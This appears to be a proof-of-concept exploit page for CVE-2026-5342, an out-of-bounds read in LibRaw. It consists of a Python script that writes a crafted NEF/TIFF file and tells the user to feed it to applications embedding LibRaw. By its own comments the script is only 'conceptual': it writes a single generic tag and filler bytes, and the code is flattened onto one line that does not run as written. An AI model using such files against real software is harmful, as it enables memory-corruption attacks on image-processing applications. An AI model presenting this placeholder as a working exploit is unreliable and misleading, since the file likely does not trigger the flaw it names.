CVE-2026-5342: LibRaw越界读取漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-5342 (LibRaw Out-of-Bounds Read) This script creates a malformed TIFF/NEF file that attempts to trigger the vulnerability in LibRaw <= 0.22.0 by manipulating load_flags/raw_width. """ import struct def create_malicious_nef(filename): with open(filename, 'wb') as f: # Minimal TIFF Header (Big Endian) f.write(b'\x4d\x4d\x00\x2a') # MM + 0x002A f.write(b'\x00\x00\x00\x08') # IFD0 offset # IFD0 with minimal tags to reach the problematic parser # This is a conceptual representation; actual offsets depend on LibRaw's parsing logic. # The goal is to trigger nikon_load_padded_packed_raw with bad params. num_tags = struct.pack('>H', 1) f.write(num_tags) # Tag 0x00FE (NewSubfileType), Type 4 (LONG), Count 1, Value 0 f.write(struct.pack('>HHII', 0x00FE, 4, 1, 0)) # Next IFD offset (0) f.write(b'\x00\x00\x00\x00') # Padding/Malicious data area to potentially trigger OOR # In a real exploit, specific Nikon tags would be crafted here. f.write(b'A' * 0x100) if __name__ == "__main__": print("[*] Generating malicious NEF file for CVE-2026-5342...") create_malicious_nef("poc_cve_2026_5342.nef") print("[+] File created: poc_cve_2026_5342.nef") print("[!] Use this file with an application embedding LibRaw <= 0.22.0 to test.")